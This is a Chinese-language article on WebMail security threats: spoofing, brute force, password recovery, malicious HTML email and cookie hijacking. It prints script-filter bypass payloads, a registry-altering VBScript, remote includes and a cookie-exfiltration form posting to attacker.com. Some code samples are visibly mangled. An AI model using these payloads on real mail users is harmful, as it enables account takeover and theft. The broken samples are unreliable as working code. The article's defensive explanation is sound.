WebMail是指利用瀏覽器通過web方式來收發電子郵件的服務或技術,不需借助郵件客戶端,可以說只要能上網就能使用WebMail,極大地方便了用戶對郵件的收發。對於不能熟練使用郵件客戶端, 或者在網吧不便使用郵件客戶端的用戶來說,WebMail更是必不可少的選擇。Email能夠成為當今Internet上應用最廣泛的網絡服務,WebMail可謂功不可沒。



由於用戶的使用不當或者WebMail系統的開發不周,都有可能給WebMail的使用帶來更多的安全威脅。同樣,WebMail系統作為當今電子郵件系統的重要組成部份,它的安全性也是不可忽視的。

 

一、郵件位址欺騙

 

郵件位址欺騙是非常簡單和容易的,攻擊者針對用戶的電子郵件位址,取一個相似的電子郵件名,在WebMail的郵箱配置中將「發件人姓名」配置成與用戶一樣的發件人姓名(有些WebMail系統沒有提供此功能),然後冒充該用戶發送電子郵件,在他人收到郵件時,往往不會從郵件位址、郵件資訊頭等上面做仔細檢查,從發件人姓名、郵件內容等上面又看不出異樣,誤以為真,攻擊者從而達到欺騙的目的。例如某用戶的電子郵件名是wolfe,攻擊者就會取w0lfe、wo1fe、wolfee、woolfe之類相似的電子郵件名來進行欺騙。雖然免費的午餐越來越難吃,但還是有很多用戶使用的是免費電子郵箱,通過注冊申請,攻擊者很容易得到相似的電子郵件位址。

 

人們通常以為電子郵件的回復位址就是它的發件人位址,其實不然,在RFC 822中明確定義了發件人位址和回復位址可以不一樣,熟悉電子郵件客戶端使用的用戶也會明白這一點,在配置帳戶屬性或撰寫郵件時,可以指定與發件人位址不同的回復位址。由於用戶在收到某個郵件時,雖然會檢查發件人位址是否真實,但在回復時,並不會對回復位址做出仔細的檢查,所以,如果配合smtp欺騙使用,發件人位址是要攻擊的用戶的電子郵件位址,回復位址則是攻擊者自已的電子郵件位址,那麼這樣就會具有更大的欺騙性,誘騙他人將郵件發送到攻擊者的電子郵箱中。

 

所謂害人之心不可有,防人之心不可無,鑒於郵件位址欺騙的易於實現和危險性,我們不得不時時提防,以免上當受騙。對於WebMail系統而言,提供郵件資訊頭內容檢查、smtp認證(如果該郵件系統支援smtp的話)等服務技術,將郵件位址欺騙帶來的危害降至最小是非常有必要的。對郵件用戶而言,認真檢查郵件的發件人郵件位址、發件人IP位址、回復位址等郵件資訊頭內容是很重要的。



二、WebMail暴力破解

 

Internet上客戶端與服務端的交互,基本上都是通過在客戶端以提交表單的形式交由服務端程式(如CGI、ASP等)處理來實現的,WebMail的密碼驗證即如此,用戶在瀏覽器的表單元素裏輸入帳戶名、密碼等資訊並提交以後,服務端對其進行驗證,如果正確的話,則歡迎用戶進入自己的WebMail頁面,否則,返回一個出錯頁面給客戶端。

 

籍此,攻擊者借助一些駭客工具,不斷的用不同的密碼嘗試登錄,通過比較返回頁面的異同,從而判斷出郵箱密碼是否破解成功。幫助攻擊者完成此類暴力破解的工具有不少,如wwwhack、小榕的溯雪等,尤以溯雪的功能最為強大,它本身已經是一個功能完善的瀏覽器,通過分析和提取頁面中的表單,給相應的表單元素掛上字典檔,再根據表單提交後返回的錯誤標志判斷破解是否成功。

 

當然我們也看到,溯雪之類的web探測器,可以探測到的不僅是WebMail的密碼,像論壇、聊天室之類所有通過表單進行驗證登錄的帳戶密碼都是可以探測到的。

 

對於WebMail的暴力破解,許多WebMail系統都採取了相應的防範措施。如果某帳戶在較短的時間內有多次錯誤登錄,即認為該帳戶受到了暴力破解,防範措施一般有如下三種:

 

1、禁用帳戶:把受到暴力破解的帳戶禁止一段時間登錄,一般是5至10分鐘,但是,如果攻擊者總是嘗試暴力破解,則該帳戶就一直處於禁用狀態不能登錄,導致真正的用戶不能訪問自己的郵箱,從而形成DOS攻擊。

 

2、禁止IP位址:把進行暴力破解的IP位址禁止一段時間不能使用WebMail。這雖然在一定程度上解決了「禁用帳戶」帶來的問題,但更大的問題是,這勢必導致在網吧、公司、學校甚至一些城域網內共用同一IP位址訪問internet的用戶不能使用該WebMail。如果攻擊者採用多個代理位址輪循攻擊,甚至採用分散式的破解攻擊,那麼「禁止IP位址」就難以防範了。

 

3、登錄檢驗:這種防範措施一般與上面兩種防範措施結合起來使用,在禁止不能登錄的同時,返回給客戶端的頁面中包含一個隨機產生的檢驗字串,只有用戶在相應的輸入框裏正確輸入了該字串才能進行登錄,這樣就能有效避免上面兩種防範措施帶來的負面影響。不過,攻擊者依然有可乘之機,通過開發出相應的工具提取返回頁面中的檢驗字串,再將此檢驗字串做為表單元素值提交,那麼又可以形成有效的WebMail暴力破解了。如果檢驗字串是包含在圖片中,而圖片的檔案名又隨機產生,那麼攻擊者就很難開發出相應的工具進行暴力破解,在這一點上,yahoo電郵就是一個非常出色的例子。

 

雖然WebMail的暴力破解有諸多的防範措施,但它還是很難被完全避免,如果WebMail系統把一分鐘內五次錯誤的登錄當成是暴力破解,那麼攻擊者就會在一分鐘內只進行四次登錄嘗試。所以,防範WebMail暴力破解還主要靠用戶自己採取良好的密碼策略,如密碼足夠複雜、不與其他密碼相同、密碼定期更改等,這樣,攻擊者很難暴力破解成功。

 

三、郵箱密碼恢復

 

難免會有用戶遺失郵箱密碼的情況,為了讓用戶能找回密碼繼續使用自己的郵箱,大多數WebMail系統都會向用戶提供郵箱密碼恢復機制,讓用戶回答一系列問題,如果答案都正確的話,就會讓用戶恢復自己郵箱的密碼。但是,如果密碼恢復機制不夠合理和安全,就會給攻擊者加以利用,輕松獲取他人郵箱密碼。 下面是許多WebMail系統密碼恢復機制所採取的密碼恢復步驟,只有用戶對每步提出的問題回答正確的話才會進入下一步,否則返回出錯頁面,針對每一步,攻擊者都有可乘之機:

 

第一步:輸入帳戶:在進入密碼恢復頁面後首先提示用戶輸入要恢復密碼的郵箱帳戶。這一步對攻擊者而言自然不成問題,郵箱帳戶就是他要攻擊的目標。

 

第二步:輸入生日:提示用戶按年月日輸入自己的生日。這一步對攻擊者而言也很輕松,年月日的排列組合很小,借助溯雪等工具很快就能窮舉破解出來,所以WebMail系統有必要在此採取暴力破解防範措施。並且每個用戶需要注意的是,攻擊者不一定來自地球的另一端,很可能就是你身邊的人,或許這些人更想知道你郵箱裏有什麼秘密,而他們要弄清你的生日往往是件輕而易舉的事情,你不是昨天才過了生日party嗎?你不是剛剛把身份證影本交給人事部嗎?所以,為了郵箱安全,用戶是不是要把真實的生日做為郵箱注冊資訊,WebMail系統是不是一定要用戶輸入真實的生日做為注冊資訊,這還有待考慮。

 

第三步:問題回答:提示用戶回答自己設定的問題,答案也是用戶自己設定的答案。在這一步,攻擊者往往只有靠猜測,不幸的是,很多用戶的問題和答案是如此的簡單,以致於攻擊者能輕易的猜測出來,例如提出的問題只是知識性的問題、提出的問題和答案相同等。攻擊者對用戶越熟悉,成功的可能性就越大,例如有用戶問「你男朋友是哪裏人」,殊不知,攻擊者正是她的男朋友。所以,用戶把問題設置成唯有自己知道的答案至關重要,這樣攻擊者才很難得逞,不過不要忘了答案,否則就得不償失了。

 

在用戶正確完成以上各步驟以後,WebMail系統就會讓用戶恢復自己郵箱帳戶的密碼。密碼恢復的方式又各有不同,一般有如下幾種方式,安全程度各有不同:

 

1、頁面返回:返回的頁面裏顯示用戶的郵箱密碼。這樣故然方便省事,但是如果讓攻擊者得到密碼,則能在絲毫不驚動用戶的情況下使用用戶的郵箱,使得攻擊者能長期監視用戶的郵箱使用情況,給用戶帶來更大的安全隱患。

 

2、郵件發送:將密碼發送到用戶注冊時登記的另一個郵箱裏。對於攻擊者來說,忙了半天,仍然是一無所獲,除非繼續去攻擊另一個郵箱;對於用戶來說,在另一個郵箱裏收到發來的密碼則是一個警告,說明有攻擊者猜測到了他的郵箱密碼提示問題,迫使用戶盡快改變自己的密碼提示問題。

 

不過,如果用戶注冊時登記的不是一個正確的郵箱,或者該郵箱已經失效,那麼,這樣不僅是攻擊者,就是用戶本人也永遠得不到密碼了。有些WebMail系統在注冊時要求用戶登記正確的郵件位址,並把郵箱開通的驗證資訊發往該郵件位址,不過這樣仍然不能避免用戶在郵箱失效後不能恢復自己郵箱密碼的情況發生。

 

3、密碼重設:讓用戶重新設置一個密碼。這種方式相比「頁面返回」方式,在攻擊者重設密碼後,用戶因為不能正常登錄進自己的郵箱而能察覺出受到攻擊,安全性相對好一些;但是相比「郵件發送」方式,因為攻擊者能立即修改郵箱密碼,少了一層保障,安全性又差一些。

 

由「頁面返回」或「郵件發送」回來的密碼可以明顯看出,該電子郵件系統是把郵箱帳戶的密碼未經加密直接以明文保存在數據庫或LDAP服務器中。這樣就造成很大的安全隱患,WebMail系統管理員或侵入數據庫的攻擊者能輕易獲取用戶的郵箱密碼,用戶卻完全不知情,所以為了加大保密性,有必要將郵箱密碼加密後再以密文存入數據庫,最好用不可逆的單向加密演算法,如md5等。

 

郵箱密碼恢復機制是否安全,主要還是看WebMail系統提出什麼樣的問題、採取什麼樣的問答方式,例如將多個密碼恢復步驟中提出的問題放在一步中一起提出,就會相應地增加攻擊者的難度從而提高安全性,像搜狐郵件、新浪郵件和yahoo電郵等都是一些令人失望的例子。

 

四、惡性HTML郵件

 

電子郵件有兩種格式:純文本(txt)和超文字(html)。Html郵件由html語言寫成,當通過支援html的郵件客戶端或以瀏覽器登錄進入WebMail查看時,有字體、顏色、鏈接、圖像、聲音等等,給人以深刻的印象,許多垃圾廣告就是以html郵件格式發送的。

 

利用html郵件,攻擊者能進行電子郵件欺騙,甚至欺騙用戶更改自己的郵箱密碼。例如攻擊者通過分析WebMail密碼修改頁面的各表單元素,設計一個隱含有同樣表單的html頁面,預先給「新密碼」表單元素賦值,然後以html郵件發送給用戶,欺騙用戶說在頁面中提交某個表單或點擊某個鏈接就能打開一個精彩網頁,用戶照做後,在打開「精彩網頁」的同時,一個修改郵箱密碼的表單請求已經發向WebMail系統,而這一切,用戶完全不知情,直到下次不能登錄進自己郵箱的時候。

 

為了防止此類的html郵件欺騙,在修改郵箱配置時,特別是修改郵箱密碼和提示問題時,WebMail系統有必要讓用戶輸入舊密碼加以確認,這樣也能有效防止載取到當前WebMail會話的攻擊者(下面會介紹)更改郵箱密碼。

 

通過在html郵件中嵌入惡性腳本程式,攻擊者還能進行很多破壞攻擊,如修改注冊表、非法操作檔、格式化硬盤、耗盡系統資源、修改「開始」菜單等,甚至能刪除和發送用戶的郵件、訪問用戶的位址簿、修改郵箱帳戶密碼等等。惡性腳本程式一般由javascript或VBScript腳本語言寫成,內嵌在html語言中,通過調用ActiveX控制項或者結合WSH來達到破壞攻擊目的。深受修改瀏覽器的惡性html頁面之痛,飽經「歡樂時光」郵件病毒之苦的朋友,對此應該不會陌生。下面是兩個簡單的惡性腳本程式:

 

1、打開無數個瀏覽器視窗,直至CPU超負荷,非關機不可:

 

<script language="javascript">

 

<!--
while (true)
{
window.open("URI"); //如果URI就是當前頁本身,那就更具破壞性。
}
//-->

 

</script>

 

2、修改注冊表:

<script language="VBScript">
Set RegWsh = CreateObject("WScript.Shell")
'設置IE瀏覽器默認頁
RegWsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "HTTP://www.attacker.com"
</script>


鑒於腳本程式可能帶來的危險,WebMail系統完全有必要禁止html郵件中的腳本程式。禁止腳本程式的基本做法就是過濾掉html來源程式中能夠使腳本程式運行的代碼,如script元素等,在這方面做的最好的莫過於hotmail了。下面是些常見的繞過腳本程式過濾的方法,不少的WebMail系統仍然沒有完全改正:

(1) 在html語言裏,除了script元素內的或在script元素內引入的腳本程式能在html頁面裝載時被運行外,使用事件屬性也能調用腳本程式運行,事件屬性在javascript語言裏被稱為事件控制碼,用於對頁面上的某個特定事件(如鼠標點擊、表單提交)做出響應,驅動javascript程式運行。它的語法如下:

<tag attribute1 attribute2 onEventName="javascript code;">

例如:

<body is executed');">
<a href="#" is executed');">Click here</a>
<form method="post" action="#" onsubmit="alert('javascript#3 is executed');">
<input type="submit" value="Submit">
</form>
</body>

(2) URI(Universal Resource Identifier:通用資源標識)用於定位Internet上每種可用的資源,如HTML文檔、圖像、聲音等。瀏覽器根據URI的資源類型(URI scheme)調用相應的程式操作該資源,如果把一些元素的URI屬性值的資源類型設為javascript,則能夠調用javascript程式運行。語法如下,注意要用「;」分隔不同的javascript語句:

<tag attribute="javascript:javascript-code;">

例如:

<body background="javascript:alert('javascript#1 is executed');">
<a href="javascript:alert('javascript#2 is executed');">Click here</a>
<form method="post" action="javascript:alert('javascript#3 is executed');">
<input type="submit" value="Submit">
</form>
<img src="javascript:alert('javascript#4 is executed');">
</body>

(3) 由於軟硬體或其他原因,一些冷僻或特殊的字元不能輸入或正確顯示在html頁面上,為了解決這個問題,html中可以使用SGML字元參考。字元參考是一種用來指定文檔字元集中任何字元的獨立編碼機制,以「&」開始,以「;」結束。字元參考有兩種表達方式:數字字元參考和實體字元參考。數字字元參考的語法為「&#D;」(D代表一個十進制數),或「&#xH;」、「&#XH;」(H代表一個十六進制數),例如「A;」、「A」表示字母「A」,「水;」、「水」表示漢字「水」。

攻擊者把html語句裏的一些字元以數字字元參考來代替,這樣能避開WebMail系統對腳本程式的過濾。需要注意的是,元素和屬性不可以用字元參考表示,例如:

<body>
<img lowsrc="ja;vasC;ript:alert('javascript#1 is executed')">
<a href="javAsC;ript:alert('javascript#2
i&#x73 executed')">Click here</a>
<form method="post" action="javascript:alert('javascript#3 is
executed')">
<input type="Submit" value="Submit">
</form>
</body>

(4) 樣式表是層疊樣式表單(CSS:Cascading Style Sheet)的簡稱,用於控制、增強或統一網頁上的樣式(如字體、顏色等),它能夠將樣式資訊與網頁內容相分離,在html語言的style標簽內可以用@import聲明輸入一個樣式表。但是,如果輸入的資源類型或內容是javascript,Internet Explorer瀏覽器仍然會執行。

例如: <style type="text/css">
<!--
@import url(javascript:alert('javascript#1 is executed'));
@import url(HTTP://www.attacker.com/js.css);
-->
</style>

其中HTTP://www.attacker.com/js.css的內容如下所示:

@import url(javascript:alert('javascript#2 is executed'));
@import url(javascript:eval(String.fromCharCode
(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,
108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));

能夠繞過WebMail系統對腳本程式過濾的方法遠不止上面所說的這些,例如曾有人發現把「<script>」標簽改成「<_a<script>」和「<<script>」的樣子能繞過yahoo電郵的過濾,這個漏洞yahoo在最近才改正過來。

除了可以在html郵件中直接嵌入腳本程式外,攻擊者還可以設計一些html代碼,在用戶打開html郵件時,不知不覺引入另一個html檔,而此檔中正含有惡性代碼,這樣不僅能直接繞過WebMail系統對腳本程式的過濾,而且還能有效避開提供了防毒服務的郵件系統對惡性代碼的查殺。下面是幾個調用html檔的例子:
(1) Refresh到另一個頁面:

<body>
<meta HTTP-equiv="refresh" content="1;URL=HTTP://www.attacker.com/another.htm">
</body>

(2) Iframe引入另一個頁面:

<body>
<iframe src="HTTP://www.attacker.com/import.htm" frameborder="0"></iframe>
</body>

(3) scriptlet引入另一個頁面:

<body>
<object type="text/x-scriptlet" data="HTTP://www.attacker.com/import.htm"></object>
</body>

攻擊者還可以採取如下方法,使帶有惡性代碼的html郵件具有更大的隱蔽性:

(1) 配合郵件欺騙技術,使用戶不會懷疑收到的郵件,並且攻擊者也能隱藏自己的行蹤。

(2) 把html郵件設計成看起來像txt郵件。

(3) 有時可以把html郵件中的惡性代碼放在一個隱藏的層裏面,表面上看不出任何變化。

針對惡性腳本程式的影響,對用戶常見的建議辦法是提高瀏覽器的安全級別,如禁用ActiveX、禁用腳本等,但這並不是一個很好的辦法,因為這樣會影響到用戶對其他正常html頁面的瀏覽。即使瀏覽器達到了最高級別,依然對某些惡性代碼無濟於事,下面是位以色列安全專家發現的漏洞,能讓Windows系統自動執行任何本地程式,即使Internet Explorer已經禁止了ActiveX和腳本程式:

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>

<xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-
111111111111" codebase="c:/winnt/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>

面對惡性html郵件,WebMail系統和用戶似乎都沒有很好的解決辦法,雖然許多WebMail系統已經能夠過濾掉html郵件中的很多惡性代碼,不過令人遺憾的是,要想徹底過濾掉惡性代碼並不是一件容易的事情,攻擊者總能利用WebMail系統過濾機制和瀏覽器的漏洞找到辦法繞過種種過濾,WebMail系統所能做的就是發現一個漏洞補一個漏洞。

為了減少乃至避免惡性html郵件的影響,在打開html郵件之前,WebMail系統有必要提醒用戶這是一個html郵件,如果能提供讓用戶以文本方式瀏覽html郵件的功能,則是最好不過。在打開不明郵件之前,用戶更要小心謹慎,最好把html郵件「目標另存為」到本地硬盤上再打開來看,如果能先查看html郵件源代碼,則是最好不過。

另外需要特別提醒用戶注意的是,雖然一些電子郵件系統會在WebMail系統上對html郵件中的惡性代碼進行過濾,但在pop3服務器上並不會進行過濾,所以,如果是通過郵件客戶端收取郵件,仍然要謹防惡性html郵件的危害。

五、Cookie會話攻擊

當用戶以自已的郵箱帳戶和密碼登錄進WebMail以後,如果再讓用戶對每一步操作都輸入密碼加以確認就會讓人不甚其煩。所以WebMail系統有必要進行用戶會話跟蹤,WebMail系統用到的會話跟蹤技術主要有兩種:cookie會話跟蹤和URL會話跟蹤。

Cookie是web服務器保存在用戶瀏覽器上的文本資訊,可以包含用戶名、特殊ID、訪問次數等任何資訊,通常此資訊用於標識訪問同一web服務器上的不同用戶,在瀏覽器每次訪問同一web服務器時會發送過去,用於跟蹤特定客戶端或瀏覽器與web服務器進行交互的狀態。

Cookie的類型有兩種:持久型和臨時型。持久型cookie以文本形式存儲在硬盤上,由瀏覽器存取。使用了持久型cookie會話跟蹤的WebMail系統有hotmail、yahoo電郵(可選)等。臨時型cookie也稱為會話cookie,存儲在內存中,僅為當前瀏覽器的對話存儲,關閉當前瀏覽器後會立即消失,ASP、PHP4等開發程式中用到的session對象就會產生臨時型cookie。使用了臨時型cookie會話跟蹤的WebMail系統有FM365、億郵等。


如果攻擊者能夠獲取用戶WebMail的cookie資訊,那麼就能很容易地侵入用戶的WebMail。攻擊者如何獲取用戶WebMail的cookie資訊呢?如果攻擊者在用戶的電腦上安裝了木馬,或者能夠從網絡線路上對用戶進行嗅探偵聽,那麼獲取cookie資訊自然不成問題,不過這並不是我們討論問題的意義所在,因為都能夠這樣了,又何必大費周折去獲取cookie資訊,直接獲取郵箱密碼就是了。

如果WebMail系統存在跨站腳本執行漏洞,那麼攻擊者就能欺騙用戶從而輕易地獲取cookie資訊,雖然眾多網站存在此漏洞,但存在此漏洞的WebMail系統還很少見。

含有惡性腳本程式的html郵件能使攻擊者獲取WebMail的cookie資訊。Html郵件中的腳本程式先提取當前WebMail的cookie資訊,然後把它賦值給某個表單元素,再將表單自動提交給攻擊者,攻擊者從而獲得cookie會話資訊。下面是一段演示程式:

<body>
<form method="post" action="HTTP://attacker.com/getcookie.cgi" name="myform">
<input name="session" type="hidden">
</form>

<script language="javascript">
var cookie=(documents.cookie);
alert(cookie);//這一句用於顯示當前cookie資訊,當然,攻擊者不會這樣做。
document.myform.session.value=cookie;
document.myform.submit();
</script>

getcookie.cgi是放在攻擊者web服務器上的一個cgi程式,用於獲取表單提交過來的cookie資訊,並且做記錄或者通知攻擊者。當然,攻擊者會把html郵件、getcookie.cgi程式設計得更隱蔽,更具欺騙性,讓用戶難以察覺。

通常,瀏覽器根據web服務器的功能變數名稱來分別保存cookie資訊,並且只會把cookie資訊發送給同一功能變數名稱的web服務器。不過,瀏覽器的漏洞給攻擊者獲取不同功能變數名稱的cookie資訊創造了機會,Internet Explorer、Netscape和Mozilla等被廣泛使用的瀏覽器都存在過此類漏洞。下面是幾個Internet Explorer瀏覽器(針對IE5.0、IE5.5或IE6.0)洩漏cookie資訊的例子:

(1) Html語言中的object元素用於在當前頁面內嵌入外部對象,但Internet Explorer瀏覽器對object元素屬性的處理不當會導致任意域的cookie資訊被洩漏,演示代碼如下:

<object id="data" data="empty.html" type="text/html"></object>
<script>
var ref=document.getElementById("data").object;
ref.location.href="HTTP://www.anydomain.com";
setTimeout("alert(ref.cookie)",5000);
</script>

(2) Internet Explorer瀏覽器錯誤處理「about」協議使得一個精心構造的URL請求可能會顯示或修改任意域的cookie資訊,例如(以下代碼在同一行):

about://www.anydomain.com/<script language=javascript>alert(documents.cookie);</script>

(3) Internet Explorer瀏覽器會誤把URL中「%20」(空白字元的URL編碼)字串之前的主機名當做cookie資訊所在的域,並且發送出去。假設攻擊者有一個功能變數名稱「attacker.com」,攻擊者把它做成泛功能變數名稱解析,即把「*.attacker.com」指向攻擊者web服務器所在的IP位址,「attacker.com」下的任何子功能變數名稱或主機名都會被解析成這個IP位址,當用戶提交了類似下面這樣的URL後,瀏覽器就會把「anydomain.com」功能變數名稱的cookie資訊發送給攻擊者:

HTTP://anydomain.com%20.attacker.com/getcookie.cgi

如果攻擊者要獲取WebMail的臨時型cookie資訊,就會在html郵件中寫入相應的代碼,在用戶瀏覽郵件時,該代碼自動執行,使得攻擊者能夠獲取當前瀏覽器裏的臨時cookie資訊,也可以把用於獲取cookie資訊的URL發送給用戶,誘騙用戶打開該URL,這樣攻擊者也能獲取臨時cookie資訊。

在攻擊者獲取cookie資訊後,如果cookie資訊裏含有密碼等敏感資訊,那麼攻擊者就能很輕易地侵入用戶的郵箱,雖然hotmail等WebMail系統曾經發生過此類的情況,但cookie資訊洩漏敏感資訊的WebMail系統還很少見。

攻擊者在獲取cookie資訊之後,還要讓此cookie資訊由瀏覽器來存取從而與WebMail系統建立會話,這樣才能侵入用戶的WebMail。如果是持久型cookie資訊,攻擊者所要做的是把這個資訊複製到自己的cookie檔中去,由瀏覽器存取該cookie資訊從而與WebMail系統建立會話,不過臨時cookie資訊存儲在內存中,並不容易讓瀏覽器存取。

為了讓瀏覽器存取臨時cookie資訊,攻擊者可以編輯內存中的cookie資訊,或者修改公開源代碼的瀏覽器,讓瀏覽器能夠編輯cookie資訊,不過這樣都不是很簡便的方法,簡便的方法是使用Achilles程式(packetstormsecurity.org網站有下載)。Achilles是一個HTTP代理服務器,能夠載取瀏覽器和web服務器間的HTTP會話資訊,並且在代理轉發數據之前可以編輯HTTP會話以及臨時cookie資訊。

WebMail系統應該避免使用持久型cookie會話跟蹤,使攻擊者在cookie會話攻擊上不能輕易得逞。為了防止cookie會話攻擊,用戶可以採取如下措施以加強安全:

(1) 設置瀏覽器的cookie安全級別,阻止所有cookie或者只接受某幾個域的cookie。

(2) 使用cookie管理工具,增強系統cookie安全,如Cookie Pal、Burnt Cookies等。

(3) 及時給瀏覽器打補丁,防止cookie資訊洩漏。
 
From:51CTO
arrow
arrow
    全站熱搜

    戮克 發表在 痞客邦 留言(0) 人氣()